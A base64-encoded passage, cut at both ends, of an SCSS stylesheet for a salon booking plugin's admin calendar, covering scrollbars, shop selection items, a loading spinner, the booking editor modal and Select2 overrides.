CwgMCwgMCwgMC4zKTtcbiAgICAgICAgLXdlYmtpdC1ib3gtc2hhZG93OiBub25lO1xuICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4zKTtcbiAgICAgICAgYm9yZGVyOiAycHggc29saWQgd2hpdGU7XG4gICAgICB9XG5cbiAgICAgICY6Oi13ZWJraXQtc2Nyb2xsYmFyIHtcbiAgICAgICAgd2lkdGg6IDZweDtcbiAgICAgICAgYm9yZGVyOiBub25lO1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgIH1cblxuICAgICAgJjo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWIge1xuICAgICAgICBib3JkZXItcmFkaXVzOiAzcHg7XG4gICAgICAgIC8vLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDAgNnB4IHJnYmEoMCwgMCwgMCwgMC4zKTtcbiAgICAgICAgLXdlYmtpdC1ib3gtc2hhZG93OiBub25lO1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjY2NjO1xuICAgICAgfVxuICAgICAgLy9ib3JkZXI6IHNldHRpbmdzLW1peGlucy5yZW0oNHB4KSBzb2xpZCB0cmFuc3BhcmVudDtcbiAgICAgIC8vYm9yZGVyLXRvcC13aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcbiAgICAgIC8vYm9yZGVyLWJvdHRvbS13aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcbiAgICAgIC5zbG4tYnRuIHtcbiAgICAgICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgICAgIH1cbiAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgbWF4LXdpZHRoOiAxMDB2dztcbiAgICAgICAgbWF4LWhlaWdodDogMzB2aDtcbiAgICAgICAgcGFkZGluZzogMC41cmVtIDFyZW07XG4gICAgICAgIGxlZnQ6IDA7XG4gICAgICAgIHJpZ2h0OiAwO1xuICAgICAgfVxuICAgIH1cbiAgICAuc2xuLXNob3BzLXNlbGVjdGlvbi1pdGVtIHtcbiAgICAgIGRpc3BsYXk6IGZsZXggIWltcG9ydGFudDtcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG4gICAgICBnYXA6IDEuNWVtO1xuICAgICAgb3ZlcmZsb3c6IGhpZGRlbjtcbiAgICAgIGhlaWdodDogYXV0bztcbiAgICAgIGxpbmUtaGVpZ2h0OiAxLjQ7XG4gICAgICBwYWRkaW5nOiAxLjhlbSAxLjJlbTtcbiAgICAgIGZvbnQtc2l6ZTogMXJlbTtcbiAgICAgIC5mYSxcbiAgICAgIC5mYXMge1xuICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgIGZvbnQtZmFtaWx5OiAnRm9udEF3ZXNvbWUnO1xuICAgICAgICAgIGZvbnQtc2l6ZTogMC45MnJlbTtcbiAgICAgICAgICBmb250LXdlaWdodDogOTAwO1xuICAgICAgICAgIC1tb3otb3N4LWZvbnQtc21vb3RoaW5nOiBncmF5c2NhbGU7XG4gICAgICAgICAgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG4gICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgICAgICAgICBmb250LXZhcmlhbnQ6IG5vcm1hbDtcbiAgICAgICAgICB0ZXh0LXJlbmRlcmluZzogYXV0bztcbiAgICAgICAgICBsaW5lLWhlaWdodDogMTtcbiAgICAgICAgICBjb250ZW50OiAnXFxmMDBjJztcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgLnNlbGVjdGVkIHtcbiAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgIH1cbiAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICY6aG92ZXIsXG4gICAgICAgICY6Zm9jdXMge1xuICAgICAgICAgIC5zZWxlY3RlZCB7XG4gICAgICAgICAgICBvcGFjaXR5OiAwLjU7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgICAmLmFjdGl2ZSB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfb2s7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgICBib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgICAgICAgLnNlbGVjdGVkIHtcbiAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICB9XG4gICAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICAgJjpob3ZlcixcbiAgICAgICAgICAmOmZvY3VzIHtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgICAgICAgLnNlbGVjdGVkIHtcbiAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgICAgfVxuICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgICAgICAvLyBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICAgIC8vbWFyZ2luLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuICAgICAgICAvL21hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG4gICAgICB9XG4gICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgICAvLyBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNThweCk7XG4gICAgICAgIHBhZGRpbmc6IDEuNmVtIDEuMmVtO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAvLyBzcGFuW2RhdGEtY2FsLWRhdGVdIHtcbiAgLy8gICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoXG4gIC8vICAgICBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0LFxuICAvLyAgICAgMC41XG4gIC8vICAgKTtcbiAgLy8gICB3aWR0aDogMTAwJTtcbiAgLy8gICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIC8vICAgbWFyZ2luLXJpZ2h0OiAwO1xuICAvLyAgIG1hcmdpbi10b3A6IDA7XG4gIC8vICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gIC8vICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAvLyAgICAgZGlzcGxheTogYmxvY2s7XG4gIC8vICAgICB3aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NHB4KTtcbiAgLy8gICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NHB4KTtcbiAgLy8gICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAvLyAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAvLyAgICAgbWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcbiAgLy8gICAgIG1hcmdpbi1yaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcbiAgLy8gICAgIG1hcmdpbi1sZWZ0OiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpO1xuICAvLyAgICAgYm9yZGVyOiAycHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgLy8gICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gIC8vICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYi1yYWRpdXMoNTAlKTtcbiAgLy8gICAgICY6aG92ZXIge1xuICAvLyAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gIC8vICAgICAgIGNvbG9yOiAjZmZmO1xuICAvLyAgICAgICBib3JkZXI6IDJweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW47XG4gIC8vICAgICB9XG4gIC8vICAgfVxuICAvLyB9XG4gIC8vIC5jYWwtZGF5LXRvZGF5IHNwYW5bZGF0YS1jYWwtZGF0ZV0ge1xuICAvLyAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgLy8gICAgIHdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDY0cHgpO1xuICAvLyAgICAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDY0cHgpO1xuICAvLyAgICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG4gIC8vICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX29rO1xuICAvLyAgICAgY29sb3I6ICNmZmY7XG4gIC8vICAgICBib3JkZXI6IG5vbmU7XG4gIC8vICAgfVxuICAvLyB9XG4gIC8vIC5jYWwteWVhci1ib3ggc3BhbltkYXRhLWNhbC1kYXRlXSB7XG4gIC8vICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAvLyAgICAgd2lkdGg6IGF1dG87XG4gIC8vICAgICB3aWR0aDogaW5pdGlhbDtcbiAgLy8gICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NHB4KTtcbiAgLy8gICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAvLyAgICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuICAvLyAgICAgYm9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgLy8gICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5iLXJhZGl1cygwJSk7XG4gIC8vICAgfVxuICAvLyB9XG4gIC5jYWwteWVhci1ib3ggW2NsYXNzKj0nc3BhbiddIHtcbiAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2UxZTFlMTtcbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcbiAgICAgIG1pbi1oZWlnaHQ6IDEwMHB4O1xuICAgIH1cbiAgfVxuICAjY2FsLXdlZWstYm94IHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgIGJvcmRlcjogbm9uZTtcbiAgICAmOmhvdmVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIH1cbiAgfVxuICAjY2FsLWRheS10aWNrLFxuICAjY2FsLXNsaWRlLXRpY2sge1xuICAgIHdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDQ0cHgpO1xuICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NHB4KTtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5iLXJhZGl1cyg1MCUpO1xuICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgIC8qIEZJWCAwOTIwMjMqL1xuICAgICY6YWZ0ZXIge1xuICAgICAgY29udGVudDogJ1xcZjA3Nyc7XG4gICAgICB3aWR0aDogMjBweDtcbiAgICAgIGhlaWdodDogMjBweDtcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIHRvcDogY2FsYyg1MCUgLSAxMHB4KTtcbiAgICAgIGxlZnQ6IGNhbGMoNTAlIC0gMTBweCk7XG4gICAgICBAZXh0ZW5kICVmb250LWljb247XG4gICAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjJweCk7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgIH1cbiAgfVxuICAjY2FsLWRheS10aWNrIHtcbiAgICB0b3A6IGF1dG87XG4gICAgdG9wOiBpbml0aWFsO1xuICAgIGJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NXB4KTtcbiAgICAvKiBGSVggMDkyMDIzKi9cbiAgICAmOmFmdGVyIHtcbiAgICAgIGNvbnRlbnQ6ICdcXGYwNzgnO1xuICAgIH1cbiAgfVxuICAjY2FsLXNsaWRlLXRpY2sge1xuICAgIHRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1NHB4KTtcbiAgfVxuICAuYmFkZ2Uge1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICB3aWR0aDogMTAwJTtcbiAgICAgIG1hcmdpbi10b3A6IDIwcHg7XG4gICAgICBib3JkZXItcmFkaXVzOiAwO1xuICAgIH1cbiAgfVxuICAuc2xuLWNhbGVuZGFyLXZpZXduYXYge1xuICAgIG1hcmdpbjogMCBzZXR0aW5ncy1taXhpbnMucmVtKC0yMHB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpXG4gICAgICBzZXR0aW5ncy1taXhpbnMucmVtKC0yMHB4KTtcbiAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDEwMjRweCkgYW5kIChvcmllbnRhdGlvbjogbGFuZHNjYXBlKSB7XG4gICAgICBtYXJnaW4tcmlnaHQ6IDA7XG4gICAgfVxuICAgIC5zbG4tYnRuOm5vdCguc2xuLWJ0bi0tbGFyZ2UpIHtcbiAgICAgIG1pbi13aWR0aDogOTBweDtcbiAgICB9XG4gICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjdweCkge1xuICAgICAgLnNsbi1idG4ge1xuICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAmLnNsbi1idG4tLWljb24uc2xuLWJ0bi0taWNvbi0tbGVmdCBidXR0b24sXG4gICAgICAgICYuc2xuLWJ0bi0taWNvbiBidXR0b24ge1xuICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgfVxuICAuc2xuLWJveC10aXRsZS5jdXJyZW50LXZpZXctLXRpdGxlIHtcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG4gIH1cbiAgLnNsbi1ib29raW5nLWFkZCB7XG4gICAgbWFyZ2luOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpIDA7XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgIHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG4gICAgLnNsbi1jYWxlbmRhci12aWV3bmF2LFxuICAgIC5zbG4tYm9va2luZy1hZGQge1xuICAgICAgZmxvYXQ6IHJpZ2h0O1xuICAgIH1cbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcbiAgICBtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuICB9XG4gIEBpbmNsdWRlIG1ldGEubG9hZC1jc3MoJ2FkbWluX2NvbXBvbmVudHMvYWRtaW5fY2FsZW5kYXInKTtcbiAgLmNhbC1kYXktcGFnaW5hdGlvbiB7XG4gICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA5MDBweCkge1xuICAgICAgbWFyZ2luOiAwIHNldHRpbmdzLW1peGlucy5yZW0oLTIwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oMjBweClcbiAgICAgICAgc2V0dGluZ3MtbWl4aW5zLnJlbSgtMjBweCk7XG4gICAgfVxuICB9XG4gIC5jYWwtZGF5LWZpbHRlciB7XG4gICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA5MDBweCkge1xuICAgICAgLmNvbC1tZC02IHtcbiAgICAgICAgcGFkZGluZy1yaWdodDogMDtcbiAgICAgICAgcGFkZGluZy1sZWZ0OiAwO1xuICAgICAgfVxuICAgIH1cbiAgICAmLmNhbC1kYXktZmlsdGVyLS1iZWxvdyB7XG4gICAgICBtYXJnaW46IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCkgMCAwIDA7XG4gICAgfVxuICB9XG59XG4uc2xuLWNhbGVuZGFyLS13cmFwcGVyLnNsbi1jYWxlbmRhci0td3JhcHBlci0tbG9hZGluZyxcbi5zbG4tYm9va2luZy1lZGl0b3ItLXdyYXBwZXIuc2xuLWJvb2tpbmctZWRpdG9yLS13cmFwcGVyLS1sb2FkaW5nIHtcbiAgLy9wb3NpdGlvbjogcmVsYXRpdmU7XG4gICY6YmVmb3JlIHtcbiAgICBkaXNwbGF5OiBibG9jaztcbiAgICBjb250ZW50OiAnJztcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiAwO1xuICAgIHJpZ2h0OiAwO1xuICAgIGJvdHRvbTogMDtcbiAgICBsZWZ0OiAwO1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQtLWJvcmRlcjtcbiAgICB6LWluZGV4OiA5OTk5OTk7XG4gIH1cbiAgJjphZnRlciB7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gICAgY29udGVudDogJyc7XG4gICAgd2lkdGg6IDYwcHg7XG4gICAgaGVpZ2h0OiA2MHB4O1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IDYwcHg7XG4gICAgbGVmdDogY2FsYyg1MCUgLSAzMHB4KTtcbiAgICBib3JkZXItcmFkaXVzOiA1MCU7XG4gICAgYm9yZGVyOiAxMHB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbWVkaXVtO1xuICAgIGJvcmRlci1yaWdodC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgei1pbmRleDogOTk5OTk5O1xuICAgIC13ZWJraXQtYW5pbWF0aW9uOiB3YWl0IDJzIGluZmluaXRlIGxpbmVhcjtcbiAgICBhbmltYXRpb246IHdhaXQgMnMgaW5maW5pdGUgbGluZWFyO1xuICB9XG59XG5cbiNzbG4tYm9va2luZy1lZGl0b3ItbW9kYWwge1xuICB6LWluZGV4OiA5OTk5O1xuICAubW9kYWwtaGVhZGVyIHtcbiAgICA+IGEsXG4gICAgPiBidXR0b24ge1xuICAgICAgbWFyZ2luLWJvdHRvbTogMC41cmVtO1xuICAgIH1cbiAgfVxuXG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgIC5zbG4tYnRuLS1sYXJnZSB7XG4gICAgICBtaW4td2lkdGg6IDk2cHg7XG4gICAgfVxuICB9XG4gIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogNzY3cHgpIHtcbiAgICAubW9kYWwtaGVhZGVyIC5wdWxsLXJpZ2h0IHtcbiAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgIH1cbiAgfVxufVxuXG4jc2xuLXNhbG9uIC5tb2RhbC1iYWNrZHJvcCxcbi5zbG4tc2Fsb24tYnMtd3JhcCAubW9kYWwtYmFja2Ryb3AsXG4uc2xuLWNhbGVuZGFyLS13cmFwcGVyIC5tb2RhbC1iYWNrZHJvcCB7XG4gIHotaW5kZXg6IDk5OTA7XG59XG5cbkAtd2Via2l0LWtleWZyYW1lcyB3YWl0IHtcbiAgMCUge1xuICAgIC1tb3otdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7XG4gICAgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcbiAgICB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcbiAgfVxuICAxMDAlIHtcbiAgICAtbW96LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7XG4gICAgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO1xuICAgIHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7XG4gIH1cbn1cblxuQGtleWZyYW1lcyB3YWl0IHtcbiAgMCUge1xuICAgIC1tb3otdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7XG4gICAgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcbiAgICB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcbiAgfVxuICAxMDAlIHtcbiAgICAtbW96LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7XG4gICAgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO1xuICAgIHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7XG4gIH1cbn1cbi8vIENBTEVOREFSIC8vIEVOXG4vLyAvLy8gU0VUVElOR1MgRU5EXG5cbi8vIFRPT0xTXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXRvb2xzX193cmFwcGVyIHtcbiAgLnNsbi1pbnB1dC0tc2ltcGxlIHRleHRhcmVhIHtcbiAgICBtaW4taGVpZ2h0OiA0MHZ3O1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICBtaW4taGVpZ2h0OiAyMHZ3O1xuICAgIH1cbiAgfVxufVxuLy8gVE9PTFMgLy8gRU5EXG5cbi8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvL1xuLy8gLy8vIFNFTEVDVDIgT1ZFUlJJREVTXG4vLyAvLy8gd2UgYWRkIC5zbG4tc2VsZWN0IHRvIC5zZWxlY3QyLWNvbnRhaW5lclxuLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vXG4kaW5wdXQtaGVpZ2h0OiA0MHB4O1xuJGlucHV0LWZzaXplOiAxNnB4O1xuLnNlbGVjdDItY29udGFpbmVyLnNsbi1zZWxlY3QsXG4uc2VsZWN0Mi1jb250YWluZXItbXVsdGkuc2xuLXNlbGVjdCB7XG4gIC5zZWxlY3QyLWNob2ljZSxcbiAgLnNlbGVjdDItY2hvaWNlcyB7XG4gICAgaGVpZ2h0OiAkaW5wdXQtaGVpZ2h0O1xuICAgIGxpbmUtaGVpZ2h0OiAkaW5wdXQtaGVpZ2h0O1xuICAgIGJhY2tncm91bmQtaW1hZ2U6IG5vbmU7XG4gICAgZm9udC1zaXplOiAkaW5wdXQtZnNpemU7XG4gICAgYm9yZGVyLXJhZGl1czogNHB4O1xuICAgIGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7XG4gICAgLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDFweCAycHggcmdiYSgwLCAwLCAwLCAwLjA3KTtcbiAgICBib3gtc2hhZG93OiBpbnNldCAwIDFweCAycHggcmdiYSgwLCAwLCAwLCAwLjA3KTtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIGNvbG9yOiAjMzIzNzNjO1xuICAgIG91dGxpbmU6IDA7XG4gICAgLXdlYmtpdC10cmFuc2l0aW9uOiAwLjA1cyBib3JkZXItY29sb3IgZWFzZS1pbi1vdXQ7XG4gICAgdHJhbnNpdGlvbjogMC4wNXMgYm9yZGVyLWNvbG9yIGVhc2UtaW4tb3V0O1xuICAgIC5zZWxlY3QyLWFycm93IHtcbiAgICAgIHdpZHRoOiAxOHB4O1xuICAgICAgaGVpZ2h0OiAzMHB4O1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgcmlnaHQ6IDEwcHg7XG4gICAgICB0b3A6IGNhbGMoNTAlIC0gMzBweCk7XG4gICAgICBib3JkZXItbGVmdDogbm9uZTtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDA7XG4gICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICB9XG4gIH1cbn1cblxuLnNlbGVjdDItcmVzdWx0cyB7XG4gIGZvbnQtc2l6ZTogJGlucHV0LWZzaXplO1xufVxuLnNlbGVjdDItcmVzdWx0cyAuc2VsZWN0Mi1yZXN1bHQtbGFiZWwge1xuICBsaW5lLWhlaWdodDogJGlucHV0LWhlaWdodDtcbn1cbi5zbG4tc2VsZWN0LXdyYXBwZXIge1xuICAuc2VsZWN0Mi1jb250YWluZXItLXNsblxuICAgIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGVcbiAgICAuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcbiAgICBwYWRkaW5nOiAwO1xuICB9XG4gIC5zZWxlY3QyLWNvbnRhaW5lci0tc2xuIC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlIHtcbiAgICBoZWlnaHQ6ICRpbnB1dC1oZWlnaHQ7XG4gICAgbGluZS1oZWlnaHQ6ICRpbnB1dC1oZWlnaHQ7XG4gICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICBmb250LXNpemU6ICRpbnB1dC1mc2l6ZTtcbiAgICBib3JkZXItcmFkaXVzOiA0cHg7XG4gICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDtcbiAgICAtd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDJweCByZ2JhKDAsIDAsIDAsIDAuMDcpO1xuICAgIGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDJweCByZ2JhKDAsIDAsIDAsIDAuMDcpO1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgY29sb3I6ICMzMjM3M2M7XG4gICAgb3V0bGluZTogMDtcbiAgICAtd2Via2l0LXRyYW5zaXRpb246IDAuMDVzIGJvcmRlci1jb2xvciBlYXNlLWluLW91dDtcbiAgICB0cmFuc2l0aW9uOiAwLjA1cyBib3JkZXItY29sb3IgZWFzZS1pbi1vdXQ7XG4gIH1cbiAgLnNlbGVjdDItY29udGFpbmVyLS1zbG4gLnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUgLnNlbGVjdDItc2VsZWN0aW9uX19hcnJvdyB7XG4gICAgdG9wOiBjYWxjKDUwJSAtIDEzcHgpO1xuICB9XG4gIC5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG4gICAgLnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGVcbiAgICAuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcbiAgICBsaW5lLWhlaWdodDogJGlucHV0LWhlaWdodDtcbiAgfVxuICAuc2VsZWN0Mi1jb250YWluZXItLXNsbiAuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlIHtcbiAgICBib3JkZXItY29sb3I6ICNkZGQ7XG4gICAgZm9udC1zaXplOiAkaW5wdXQtZnNpemU7XG4gIH1cbiAgLyouc2VsZWN0Mi1jb250YWluZXItLXNsbiAuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlIC5zZWxlY3QyLXNlbGVjdGlvbl9fY2hvaWNlIHtcbiAgICAgICAgICAgIHBhZGRpbmc6IDAgNDBweCAwIDEwcHg7XG4gICAgICAgICAgICBtYXJnaW4tbGVmdDogN3B4O1xuICAgICAgICAgICAgbWFyZ2luLXRvcDogOHB4O1xuICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDMwcHg7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZWVlO1xuICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICAgICAgICAgIGJvcmRlcjogbm9uZTtcbiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgIC5zZWxlY3QyLXNlbGVjdGlvbl9fY2hvaWNlX19yZW1vdmUge1xuICAgICAgICAgICAgICAgI